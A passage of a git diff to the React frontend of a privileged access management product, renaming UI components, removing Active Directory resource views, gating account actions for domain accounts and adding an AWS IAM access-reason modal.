                       <span className="text-muted">{account.dependencyCount ?? 0}</span>
-                    </UnstableTableCell>
+                    </TableCell>
                   )}
                   {hasAccountType(resource.resourceType) && (
-                    <UnstableTableCell>
+                    <TableCell>
                       <span className="capitalize">{getAccountType(account) ?? "-"}</span>
-                    </UnstableTableCell>
+                    </TableCell>
                   )}
-                  <UnstableTableCell>
+                  <TableCell>
                     <div className="flex items-center gap-2">
                       <span className="text-sm text-muted">
                         {lastRotatedAt
@@ -505,40 +525,36 @@ export const PamResourceAccountsSection = ({ resource }: Props) => {
                         </Badge>
                       )}
                     </div>
-                  </UnstableTableCell>
-                  <UnstableTableCell>
+                  </TableCell>
+                  <TableCell>
                     <div className="flex items-center gap-2">
-                      {/* Temporarily disable accessing Windows Server accounts */}
-                      {/* Disable accessing Active Directory accounts */}
-                      {resource.resourceType !== PamResourceType.Windows &&
-                        resource.resourceType !== PamResourceType.ActiveDirectory && (
-                          <ProjectPermissionCan
-                            I={ProjectPermissionPamAccountActions.Access}
-                            a={ProjectPermissionSub.PamAccounts}
+                      {/* TODO: Disabled for Windows Server and Active Directory accounts until RDP is implemented */}
+                      {resource.resourceType !== PamResourceType.Windows && !account.domainId && (
+                        <ProjectPermissionCan
+                          I={ProjectPermissionPamAccountActions.Access}
+                          a={ProjectPermissionSub.PamAccounts}
+                        >
+                          <Button
+                            variant="ghost"
+                            size="xs"
+                            onClick={(e) => {
+                              e.stopPropagation();
+                              accessAccount(account);
+                            }}
                           >
-                            <Button
-                              variant="ghost"
-                              size="xs"
-                              onClick={(e) => {
-                                e.stopPropagation();
-                                accessAccount(account);
-                              }}
-                              isPending={loadingAccountId === account.id}
-                              isDisabled={loadingAccountId === account.id}
-                            >
-                              <LogInIcon />
-                              Connect
-                            </Button>
-                          </ProjectPermissionCan>
-                        )}
-                      <UnstableDropdownMenu>
-                        <UnstableDropdownMenuTrigger asChild>
-                          <UnstableIconButton variant="ghost" size="xs">
+                            <LogInIcon />
+                            Connect
+                          </Button>
+                        </ProjectPermissionCan>
+                      )}
+                      <DropdownMenu>
+                        <DropdownMenuTrigger asChild>
+                          <IconButton variant="ghost" size="xs">
                             <EllipsisVerticalIcon />
-                          </UnstableIconButton>
-                        </UnstableDropdownMenuTrigger>
-                        <UnstableDropdownMenuContent sideOffset={2} align="end">
-                          <UnstableDropdownMenuItem
+                          </IconButton>
+                        </DropdownMenuTrigger>
+                        <DropdownMenuContent sideOffset={2} align="end">
+                          <DropdownMenuItem
                             onClick={(e) => {
                               e.stopPropagation();
                               handleCopyId(account.id);
@@ -550,68 +566,72 @@ export const PamResourceAccountsSection = ({ resource }: Props) => {
                               <CopyIcon className="size-4" />
                             )}
                             Copy Account ID
-                          </UnstableDropdownMenuItem>
-                          <ProjectPermissionCan
-                            I={ProjectPermissionPamAccountActions.TriggerRotation}
-                            a={ProjectPermissionSub.PamAccounts}
-                          >
-                            {(isAllowed: boolean) => (
-                              <UnstableDropdownMenuItem
-                                isDisabled={!isAllowed || manualRotate.isPending}
-                                onClick={(e) => {
-                                  e.stopPropagation();
-                                  handleRotateAccount(account.id);
-                                }}
+                          </DropdownMenuItem>
+                          {!account.domainId && (
+                            <>
+                              <ProjectPermissionCan
+                                I={ProjectPermissionPamAccountActions.TriggerRotation}
+                                a={ProjectPermissionSub.PamAccounts}
                               >
-                                <RefreshCwIcon className="size-4" />
-                                Rotate Account
-                              </UnstableDropdownMenuItem>
-                            )}
-                          </ProjectPermissionCan>
-                          <ProjectPermissionCan
-                            I={ProjectPermissionPamAccountActions.Edit}
-                            a={ProjectPermissionSub.PamAccounts}
-                          >
-                            {(isAllowed: boolean) => (
-                              <UnstableDropdownMenuItem
-                                isDisabled={!isAllowed}
-                                onClick={(e) => {
-                                  e.stopPropagation();
-                                  handlePopUpOpen("updateAccount", account);
-                                }}
+                                {(isAllowed: boolean) => (
+                                  <DropdownMenuItem
+                                    isDisabled={!isAllowed || manualRotate.isPending}
+                                    onClick={(e) => {
+                                      e.stopPropagation();
+                                      handleRotateAccount(account.id);
+                                    }}
+                                  >
+                                    <RefreshCwIcon className="size-4" />
+                                    Rotate Account
+                                  </DropdownMenuItem>
+                                )}
+                              </ProjectPermissionCan>
+                              <ProjectPermissionCan
+                                I={ProjectPermissionPamAccountActions.Edit}
+                                a={ProjectPermissionSub.PamAccounts}
                               >
-                                <PencilIcon className="size-4" />
-                                Edit Account
-                              </UnstableDropdownMenuItem>
-                            )}
-                          </ProjectPermissionCan>
-                          <ProjectPermissionCan
-                            I={ProjectPermissionPamAccountActions.Delete}
-                            a={ProjectPermissionSub.PamAccounts}
-                          >
-                            {(isAllowed: boolean) => (
-                              <UnstableDropdownMenuItem
-                                isDisabled={!isAllowed}
-                                variant="danger"
-                                onClick={(e) => {
-                                  e.stopPropagation();
-                                  handlePopUpOpen("deleteAccount", account);
-                                }}
+                                {(isAllowed: boolean) => (
+                                  <DropdownMenuItem
+                                    isDisabled={!isAllowed}
+                                    onClick={(e) => {
+                                      e.stopPropagation();
+                                      handlePopUpOpen("updateAccount", account);
+                                    }}
+                                  >
+                                    <PencilIcon className="size-4" />
+                                    Edit Account
+                                  </DropdownMenuItem>
+                                )}
+                              </ProjectPermissionCan>
+                              <ProjectPermissionCan
+                                I={ProjectPermissionPamAccountActions.Delete}
+                                a={ProjectPermissionSub.PamAccounts}
                               >
-                                <TrashIcon className="size-4" />
-                                Delete Account
-                              </UnstableDropdownMenuItem>
-                            )}
-                          </ProjectPermissionCan>
-                        </UnstableDropdownMenuContent>
-                      </UnstableDropdownMenu>
+                                {(isAllowed: boolean) => (
+                                  <DropdownMenuItem
+                                    isDisabled={!isAllowed}
+                                    variant="danger"
+                                    onClick={(e) => {
+                                      e.stopPropagation();
+                                      handlePopUpOpen("deleteAccount", account);
+                                    }}
+                                  >
+                                    <TrashIcon className="size-4" />
+                                    Delete Account
+                                  </DropdownMenuItem>
+                                )}
+                              </ProjectPermissionCan>
+                            </>
+                          )}
+                        </DropdownMenuContent>
+                      </DropdownMenu>
                     </div>
-                  </UnstableTableCell>
-                </UnstableTableRow>
+                  </TableCell>
+                </TableRow>
               );
             })}
-          </UnstableTableBody>
-        </UnstableTable>
+          </TableBody>
+        </Table>
       </div>
 
       <PamAddAccountModal
@@ -624,9 +644,26 @@ export const PamResourceAccountsSection = ({ resource }: Props) => {
 
       <PamAccessAccountModal
         isOpen={popUp.accessAccount.isOpen}
-        onOpenChange={(isOpen) => handlePopUpToggle("accessAccount", isOpen)}
+        onOpenChange={(isOpen) => {
+          handlePopUpToggle("accessAccount", isOpen);
+          if (!isOpen) setAccessReason(undefined);
+        }}
         account={popUp.accessAccount.data?.account}
         projectId={projectId!}
+        reason={accessReason}
+      />
+
+      <PamAwsIamAccessReasonModal
+        isOpen={popUp.awsIamReason.isOpen}
+        onOpenChange={(isOpen) => handlePopUpToggle("awsIamReason", isOpen)}
+        account={popUp.awsIamReason.data?.account}
+        onSubmit={(reason) => {
+          const account = popUp.awsIamReason.data?.account;
+          if (!account) return;
+          handlePopUpClose("awsIamReason");
+          setAccessReason(reason || undefined);
+          handlePopUpOpen("accessAccount", { account });
+        }}
       />
 
       <PamRequestAccountAccessModal
diff --git a/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceConnectionSection.tsx b/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceConnectionSection.tsx
index d5b69a210a2..6e44f88e509 100644
--- a/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceConnectionSection.tsx
+++ b/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceConnectionSection.tsx
@@ -2,10 +2,10 @@ import { useQuery } from "@tanstack/react-query";
 import { CheckIcon, LockIcon, PencilIcon, UnlockIcon } from "lucide-react";
 
 import { ProjectPermissionCan } from "@app/components/permissions";
-import { Detail, DetailLabel, DetailValue, UnstableIconButton } from "@app/components/v3";
+import { Detail, DetailLabel, DetailValue, IconButton } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub } from "@app/context";
 import { gatewaysQueryKeys } from "@app/hooks/api";
-import { PamResourceType, TPamResource, useGetPamResourceById } from "@app/hooks/api/pam";
+import { PamResourceType, TPamResource } from "@app/hooks/api/pam";
 
 type Props = {
   resource: TPamResource;
@@ -152,18 +152,10 @@ const AwsIamConnectionDetails = ({
 );
 
 const WindowsConnectionDetails = ({
-  connectionDetails,
-  adServerResourceId
+  connectionDetails
 }: {
   connectionDetails: { protocol: string; hostname: string; port: number };
-  adServerResourceId?: string | null;
 }) => {
-  const { data: adResource } = useGetPamResourceById(
-    PamResourceType.ActiveDirectory,
-    adServerResourceId || undefined,
-    { enabled: !!adServerResourceId }
-  );
-
   return (
     <>
       <Detail>
@@ -178,37 +170,10 @@ const WindowsConnectionDetails = ({
         <DetailLabel>Port</DetailLabel>
         <DetailValue>{connectionDetails.port}</DetailValue>
       </Detail>
-      {adResource && (
-        <Detail>
-          <DetailLabel>AD Resource</DetailLabel>
-          <DetailValue>{adResource.name}</DetailValue>
-        </Detail>
-      )}
     </>
   );
 };
 
-const ActiveDirectoryConnectionDetails = ({
-  connectionDetails
-}: {
-  connectionDetails: { domain: string; dcAddress: string; port: number };
-}) => (
-  <>
-    <Detail>
-      <DetailLabel>Domain</DetailLabel>
-      <DetailValue>{connectionDetails.domain}</DetailValue>
-    </Detail>
-    <Detail>
-      <DetailLabel>DC Address</DetailLabel>
-      <DetailValue>{connectionDetails.dcAddress}</DetailValue>
-    </Detail>
-    <Detail>
-      <DetailLabel>Port</DetailLabel>
-      <DetailValue>{connectionDetails.port}</DetailValue>
-    </Detail>
-  </>
-);
-
 const ConnectionDetailsContent = ({ resource }: Props) => {
   switch (resource.resourceType) {
     case PamResourceType.Postgres:
@@ -226,14 +191,7 @@ const ConnectionDetailsContent = ({ resource }: Props) => {
     case PamResourceType.AwsIam:
       return <AwsIamConnectionDetails connectionDetails={resource.connectionDetails} />;
     case PamResourceType.Windows:
-      return (
-        <WindowsConnectionDetails
-          connectionDetails={resource.connectionDetails}
-          adServerResourceId={resource.adServerResourceId}
-        />
-      );
-    case PamResourceType.ActiveDirectory:
-      return <ActiveDirectoryConnectionDetails connectionDetails={resource.connectionDetails} />;
+      return <WindowsConnectionDetails connectionDetails={resource.connectionDetails} />;
     default:
       return null;
   }
@@ -256,9 +214,9 @@ export const PamResourceConnectionSection = ({
           a={ProjectPermissionSub.PamResources}
         >
           {(isAllowed) => (
-            <UnstableIconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
+            <IconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
               <PencilIcon />
-            </UnstableIconButton>
+            </IconButton>
           )}
         </ProjectPermissionCan>
       </div>
diff --git a/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceDetailsSection.tsx b/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceDetailsSection.tsx
index f90fd290c24..8424f3a7997 100644
--- a/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceDetailsSection.tsx
+++ b/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceDetailsSection.tsx
@@ -2,13 +2,7 @@ import { format } from "date-fns";
 import { PencilIcon } from "lucide-react";
 
 import { ProjectPermissionCan } from "@app/components/permissions";
-import {
-  Detail,
-  DetailGroup,
-  DetailLabel,
-  DetailValue,
-  UnstableIconButton
-} from "@app/components/v3";
+import { Detail, DetailGroup, DetailLabel, DetailValue, IconButton } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub } from "@app/context";
 import { TPamResource } from "@app/hooks/api/pam";
 
@@ -27,9 +21,9 @@ export const PamResourceDetailsSection = ({ resource, onEdit }: Props) => {
           a={ProjectPermissionSub.PamResources}
         >
           {(isAllowed) => (
-            <UnstableIconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
+            <IconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
               <PencilIcon />
-            </UnstableIconButton>
+            </IconButton>
           )}
         </ProjectPermissionCan>
       </div>
diff --git a/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceMetadataSection.tsx b/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceMetadataSection.tsx
index bec57ffa89c..af4eec52325 100644
--- a/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceMetadataSection.tsx
+++ b/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceMetadataSection.tsx
@@ -7,7 +7,7 @@ import { z } from "zod";
 import { createNotification } from "@app/components/notifications";
 import { ProjectPermissionCan } from "@app/components/permissions";
 import { Button, Modal, ModalContent } from "@app/components/v2";
-import { Badge, UnstableButtonGroup, UnstableIconButton } from "@app/components/v3";
+import { Badge, ButtonGroup, IconButton } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub } from "@app/context";
 import { TPamResource, useUpdatePamResource } from "@app/hooks/api/pam";
 import { MetadataForm } from "@app/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/MetadataForm";
@@ -83,7 +83,7 @@ export const PamResourceMetadataSection = ({ resource }: Props) => {
             a={ProjectPermissionSub.PamResources}
           >
             {(isAllowed) => (
-              <UnstableIconButton
+              <IconButton
                 variant="ghost"
                 size="xs"
                 onClick={() => {
@@ -93,7 +93,7 @@ export const PamResourceMetadataSection = ({ resource }: Props) => {
                 isDisabled={!isAllowed}
               >
                 <PencilIcon />
-              </UnstableIconButton>
+              </IconButton>
             )}
           </ProjectPermissionCan>
         </div>
@@ -101,17 +101,14 @@ export const PamResourceMetadataSection = ({ resource }: Props) => {
           <div className="flex flex-wrap gap-2">
             {metadata.map((item) =>
               item.value ? (
-                <UnstableButtonGroup
-                  className="max-w-full min-w-0"
-                  key={`${item.key}=${item.value}`}
-                >
+                <ButtonGroup className="max-w-full min-w-0" key={`${item.key}=${item.value}`}>
                   <Badge isTruncatable className="max-w-[12rem] shrink-0">
                     <span>{item.key}</span>
                   </Badge>
                   <Badge variant="outline" isTruncatable>
                     <span>{item.value}</span>
                   </Badge>
-                </UnstableButtonGroup>
+                </ButtonGroup>
               ) : (
                 <Badge key={item.key} isTruncatable>
                   <span>{item.key}</span>
diff --git a/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceRelatedResourcesSection.tsx b/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceRelatedResourcesSection.tsx
deleted file mode 100644
index 13d8ea2e212..00000000000
--- a/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceRelatedResourcesSection.tsx
+++ /dev/null
@@ -1,112 +0,0 @@
-import { useNavigate, useParams } from "@tanstack/react-router";
-import { MonitorIcon } from "lucide-react";
-
-import {
-  UnstableEmpty,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
-} from "@app/components/v3";
-import { useOrganization } from "@app/context";
-import { PAM_RESOURCE_TYPE_MAP, TPamResource, useListRelatedResources } from "@app/hooks/api/pam";
-
-type Props = {
-  resource: TPamResource;
-};
-
-export const PamResourceRelatedResourcesSection = ({ resource }: Props) => {
-  const navigate = useNavigate();
-  const { currentOrg } = useOrganization();
-  const params = useParams({ strict: false }) as { projectId?: string };
-  const { projectId } = params;
-
-  const { data: relatedResources, isPending } = useListRelatedResources(resource.id);
-
-  const handleResourceClick = (relatedResource: TPamResource) => {
-    navigate({
-      to: "/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId",
-      params: {
-        orgId: currentOrg.id,
-        projectId: projectId!,
-        resourceType: relatedResource.resourceType,
-        resourceId: relatedResource.id
-      }
-    });
-  };
-
-  return (
-    <div className="rounded-lg border border-border bg-container">
-      <div className="border-b border-border px-4 py-3">
-        <h3 className="text-lg font-medium">Related Resources</h3>
-        <p className="text-sm text-muted">Resources that belong to this Active Directory domain</p>
-      </div>
-      <div className="p-4">
-        <UnstableTable>
-          <UnstableTableHeader>
-            <UnstableTableRow>
-              <UnstableTableHead>Resource</UnstableTableHead>
-              <UnstableTableHead>Type</UnstableTableHead>
-            </UnstableTableRow>
-          </UnstableTableHeader>
-          <UnstableTableBody>
-            {isPending && (
-              <UnstableTableRow>
-                <UnstableTableCell colSpan={2} className="text-center text-muted">
-                  Loading resources...
-                </UnstableTableCell>
-              </UnstableTableRow>
-            )}
-            {!isPending && (!relatedResources || relatedResources.length === 0) && (
-              <UnstableTableRow>
-                <UnstableTableCell colSpan={2}>
-                  <UnstableEmpty className="border-0 bg-transparent py-8 shadow-none">
-                    <UnstableEmptyHeader>
-                      <UnstableEmptyTitle>No related resources found</UnstableEmptyTitle>
-                    </UnstableEmptyHeader>
-                  </UnstableEmpty>
-                </UnstableTableCell>
-              </UnstableTableRow>
-            )}
-            {relatedResources?.map((relatedResource) => {
-              const typeInfo = PAM_RESOURCE_TYPE_MAP[relatedResource.resourceType];
-              return (
-                <UnstableTableRow
-                  key={relatedResource.id}
-                  className="group cursor-pointer"
-                  onClick={() => handleResourceClick(relatedResource)}
-                >
-                  <UnstableTableCell>
-                    <div className="flex items-center gap-3">
-                      <div className="flex h-8 w-8 items-center justify-center rounded bg-foreground/5">
-                        {typeInfo ? (
-                          <img
-                            alt={typeInfo.name}
-                            src={`/images/integrations/${typeInfo.image}`}
-                            className="size-4"
-                          />
-                        ) : (
-                          <MonitorIcon className="size-4 text-muted" />
-                        )}
-                      </div>
-                      <span className="font-medium">{relatedResource.name}</span>
-                    </div>
-                  </UnstableTableCell>
-                  <UnstableTableCell>
-                    <span className="text-sm text-muted">
-                      {typeInfo?.name ?? relatedResource.resourceType}
-                    </span>
-                  </UnstableTableCell>
-                </UnstableTableRow>
-              );
-            })}
-          </UnstableTableBody>
-        </UnstableTable>
-      </div>
-    </div>
-  );
-};
diff --git a/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceRotationPolicySection.tsx b/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceRotationPolicySection.tsx
index 208c029da56..07e245e3f50 100644
--- a/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceRotationPolicySection.tsx
+++ b/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceRotationPolicySection.tsx
@@ -7,7 +7,7 @@ import {
   DetailGroup,
   DetailLabel,
   DetailValue,
-  UnstableIconButton
+  IconButton
 } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub } from "@app/context";
 import { getObjectFromSeconds } from "@app/helpers/datetime";
@@ -50,9 +50,9 @@ export const PamResourceRotationPolicySection = ({ resource, onEdit }: Props) =>
           a={ProjectPermissionSub.PamResources}
         >
           {(isAllowed) => (
-            <UnstableIconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
+            <IconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
               <PencilIcon />
-            </UnstableIconButton>
+            </IconButton>
           )}
         </ProjectPermissionCan>
       </div>
diff --git a/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceRotationRulesSection.tsx b/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceRotationRulesSection.tsx
index 6c5a2cba30f..c778e7f4540 100644
--- a/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceRotationRulesSection.tsx
+++ b/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceRotationRulesSection.tsx
@@ -11,16 +11,16 @@ import { FormControl, Input, Select, SelectItem, Switch } from "@app/components/
 import {
   Badge,
   Button,
-  UnstableEmpty,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub } from "@app/context";
 import {
@@ -291,88 +291,78 @@ export const PamResourceRotationRulesSection = ({ resource }: Props) => {
       )}
 
       {rules.length === 0 && !isFormOpen ? (
-        <UnstableEmpty>
-          <UnstableEmptyHeader>
-            <UnstableEmptyTitle>No rotation rules configured</UnstableEmptyTitle>
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+        <Empty>
+          <EmptyHeader>
+            <EmptyTitle>No rotation rules configured</EmptyTitle>
+          </EmptyHeader>
+        </Empty>
       ) : (
         rules.length > 0 && (
-          <UnstableTable>
-            <UnstableTableHeader>
-              <UnstableTableRow>
-                <UnstableTableHead className="w-12">#</UnstableTableHead>
-                <UnstableTableHead>Name</UnstableTableHead>
-                <UnstableTableHead>Pattern</UnstableTableHead>
-                <UnstableTableHead>Status</UnstableTableHead>
-                <UnstableTableHead>Interval</UnstableTableHead>
-                <UnstableTableHead>Created</UnstableTableHead>
-                <UnstableTableHead className="w-28" />
-              </UnstableTableRow>
-            </UnstableTableHeader>
-            <UnstableTableBody>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead className="w-12">#</TableHead>
+                <TableHead>Name</TableHead>
+                <TableHead>Pattern</TableHead>
+                <TableHead>Status</TableHead>
+                <TableHead>Interval</TableHead>
+                <TableHead>Created</TableHead>
+                <TableHead className="w-28" />
+              </TableRow>
+            </TableHeader>
+            <TableBody>
               {rules.map((rule, index) => (
-                <UnstableTableRow key={rule.id}>
-                  <UnstableTableCell>
+                <TableRow key={rule.id}>
+                  <TableCell>
                     <Badge variant="outline">{rule.priority}</Badge>
-                  </UnstableTableCell>
-                  <UnstableTableCell>{rule.name || "-"}</UnstableTableCell>
-                  <UnstableTableCell>
+                  </TableCell>
+                  <TableCell>{rule.name || "-"}</TableCell>
+                  <TableCell>
                     <code className="rounded bg-mineshaft-600 px-1.5 py-0.5 text-xs">
                       {rule.namePattern}
                     </code>
-                  </UnstableTableCell>
-                  <UnstableTableCell>
+                  </TableCell>
+                  <TableCell>
                     <Badge variant={rule.enabled ? "success" : "neutral"}>
                       {rule.enabled ? "Enabled" : "Disabled"}
                     </Badge>
-                  </UnstableTableCell>
-                  <UnstableTableCell>
+                  </TableCell>
+                  <TableCell>
                     {rule.enabled && rule.intervalSeconds
                       ? formatInterval(rule.intervalSeconds)
                       : "-"}
-                  </UnstableTableCell>
-                  <UnstableTableCell>
-                    {format(new Date(rule.createdAt), "MM/dd/yyyy")}
-                  </UnstableTableCell>
-                  <UnstableTableCell>
+                  </TableCell>
+                  <TableCell>{format(new Date(rule.createdAt), "MM/dd/yyyy")}</TableCell>
+                  <TableCell>
                     <div className="flex items-center gap-1">
-                      <UnstableIconButton
+                      <IconButton
                         variant="ghost"
                         size="xs"
                         onClick={() => handleMoveUp(index)}
                         isDisabled={index === 0}
                       >
                         <ArrowUpIcon className="size-3.5" />
-                      </UnstableIconButton>
-                      <UnstableIconButton
+                      </IconButton>
+                      <IconButton
                         variant="ghost"
                         size="xs"
                         onClick={() => handleMoveDown(index)}
                         isDisabled={index >= rules.length - 1}
                       >
                         <ArrowDownIcon className="size-3.5" />
-                      </UnstableIconButton>
-                      <UnstableIconButton
-                        variant="ghost"
-                        size="xs"
-                        onClick={() => openEditForm(rule)}
-                      >
+                      </IconButton>
+                      <IconButton variant="ghost" size="xs" onClick={() => openEditForm(rule)}>
                         <PencilIcon className="size-3.5" />
-                      </UnstableIconButton>
-                      <UnstableIconButton
-                        variant="ghost"
-                        size="xs"
-                        onClick={() => handleDelete(rule.id)}
-                      >
+                      </IconButton>
+                      <IconButton variant="ghost" size="xs" onClick={() => handleDelete(rule.id)}>
                         <TrashIcon className="size-3.5" />
-                      </UnstableIconButton>
+                      </IconButton>
                     </div>
-                  </UnstableTableCell>
-                </UnstableTableRow>
+                  </TableCell>
+                </TableRow>
               ))}
-            </UnstableTableBody>
-          </UnstableTable>
+            </TableBody>
+          </Table>
         )
       )}
     </div>
diff --git a/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceSessionRecordingSection.tsx b/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceSessionRecordingSection.tsx
index 101a42bdf36..8bdbcf21888 100644
--- a/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceSessionRecordingSection.tsx
+++ b/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceSessionRecordingSection.tsx
@@ -7,7 +7,7 @@ import {
   DetailGroup,
   DetailLabel,
   DetailValue,
-  UnstableIconButton
+  IconButton
 } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub } from "@app/context";
 import { useListAppConnections } from "@app/hooks/api/appConnections/queries";
@@ -46,9 +46,9 @@ export const PamResourceSessionRecordingSection = ({ config, onEdit }: Props) =>
           a={ProjectPermissionSub.PamResources}
         >
           {(isAllowed) => (
-            <UnstableIconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
+            <IconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
               <PencilIcon />
-            </UnstableIconButton>
+            </IconButton>
           )}
         </ProjectPermissionCan>
       </div>
diff --git a/frontend/src/pages/pam/PamResourceByIDPage/components/PamRotationPolicyModal.tsx b/frontend/src/pages/pam/PamResourceByIDPage/components/PamRotationPolicyModal.tsx
index 8516d7f2310..b1fb4d137e9 100644
--- a/frontend/src/pages/pam/PamResourceByIDPage/components/PamRotationPolicyModal.tsx
+++ b/frontend/src/pages/pam/PamResourceByIDPage/components/PamRotationPolicyModal.tsx
@@ -1,27 +1,27 @@
 import { useCallback, useEffect, useState } from "react";
 import { Controller, useForm } from "react-hook-form";
 import { zodResolver } from "@hookform/resolvers/zod";
-import { InfoIcon, PlusIcon, TriangleAlertIcon, XIcon } from "lucide-react";
+import { InfoIcon, PlusIcon, XIcon } from "lucide-react";
 import { z } from "zod";
 
 import { createNotification } from "@app/components/notifications";
 import {
+  Alert,
+  AlertDescription,
+  AlertTitle,
   Button,
   Field,
   FieldContent,
   FieldError,
   FieldLabel,
+  Input,
   Label,
   Sheet,
   SheetContent,
   SheetDescription,
   SheetFooter,
   SheetHeader,
-  SheetTitle,
-  UnstableAlert,
-  UnstableAlertDescription,
-  UnstableAlertTitle,
-  UnstableInput
+  SheetTitle
 } from "@app/components/v3";
 import {
   PamResourceType,
@@ -298,29 +298,16 @@ export const PamRotationPolicyModal = ({ isOpen, onOpenChange, resource }: Props
           </SheetDescription>
         </SheetHeader>
         <div className="flex min-h-0 flex-1 flex-col gap-6 overflow-y-auto p-4">
-          {/* LDAPS warning for AD resources */}
-          {resource.resourceType === PamResourceType.ActiveDirectory &&
-            !(resource.connectionDetails as { useLdaps?: boolean }).useLdaps && (
-              <UnstableAlert variant="info">
-                <TriangleAlertIcon />
-                <UnstableAlertTitle>LDAPS Required for Rotation</UnstableAlertTitle>
-                <UnstableAlertDescription>
-                  Active Directory requires LDAPS (TLS) to change passwords. Enable LDAPS in the
-                  resource connection settings before configuring rotation.
-                </UnstableAlertDescription>
-              </UnstableAlert>
-            )}
-
           {/* Local account warning for Windows Server resources */}
           {resource.resourceType === PamResourceType.Windows && (
-            <UnstableAlert variant="info">
+            <Alert variant="info">
               <InfoIcon />
-              <UnstableAlertTitle>Local Accounts Only</UnstableAlertTitle>
-              <UnstableAlertDescription>
+              <AlertTitle>Local Accounts Only</AlertTitle>
+              <AlertDescription>
                 Rotation on Windows Server resources applies to local machine accounts only. To
                 rotate domain accounts, configure rotation on the Active Directory resource instead.
-              </UnstableAlertDescription>
-            </UnstableAlert>
+              </AlertDescription>
+            </Alert>
           )}
 
           {/* Rotation Credentials */}
@@ -340,7 +327,7 @@ export const PamRotationPolicyModal = ({ isOpen, onOpenChange, resource }: Props
                   <Field>
                     <FieldLabel>Username</FieldLabel>
                     <FieldContent>
-                      <UnstableInput {...field} isError={Boolean(error)} autoComplete="off" />
+                      <Input {...field} isError={Boolean(error)} autoComplete="off" />
                       <FieldError errors={[error]} />
                     </FieldContent>
                   </Field>
@@ -354,7 +341,7 @@ export const PamRotationPolicyModal = ({ isOpen, onOpenChange, resource }: Props
                     <FieldLabel>Password</FieldLabel>
                     <FieldContent>
                       <div className="relative">
-                        <UnstableInput
+                        <Input
                           {...field}
                           placeholder="••••••"
                           isError={Boolean(error)}
diff --git a/frontend/src/pages/pam/PamResourceByIDPage/components/index.ts b/frontend/src/pages/pam/PamResourceByIDPage/components/index.ts
index 8498e83e147..bd222b160eb 100644
--- a/frontend/src/pages/pam/PamResourceByIDPage/components/index.ts
+++ b/frontend/src/pages/pam/PamResourceByIDPage/components/index.ts
@@ -3,7 +3,6 @@ export { PamResourceConnectionSection } from "./PamResourceConnectionSection";
 export { PamResourceDependenciesSection } from "./PamResourceDependenciesSection";
 export { PamResourceDetailsSection } from "./PamResourceDetailsSection";
 export { PamResourceMetadataSection } from "./PamResourceMetadataSection";
-export { PamResourceRelatedResourcesSection } from "./PamResourceRelatedResourcesSection";
 export { PamResourceRotationPolicySection } from "./PamResourceRotationPolicySection";
 export type { SessionRecordingConfig } from "./PamResourceSessionRecordingSection";
 export { PamResourceSessionRecordingSection } from "./PamResourceSessionRecordingSection";
diff --git a/frontend/src/pages/pam/PamResourceByIDPage/components/rotation-policy/RotationRuleCard.tsx b/frontend/src/pages/pam/PamResourceByIDPage/components/rotation-policy/RotationRuleCard.tsx
index 932a1bfcf14..25271f7f2bc 100644
--- a/frontend/src/pages/pam/PamResourceByIDPage/components/rotation-policy/RotationRuleCard.tsx
+++ b/frontend/src/pages/pam/PamResourceByIDPage/components/rotation-policy/RotationRuleCard.tsx
@@ -5,13 +5,13 @@ import {
   Field,
   FieldContent,
   FieldLabel,
+  IconButton,
+  Input,
   Select,
   SelectContent,
   SelectItem,
   SelectTrigger,
-  SelectValue,
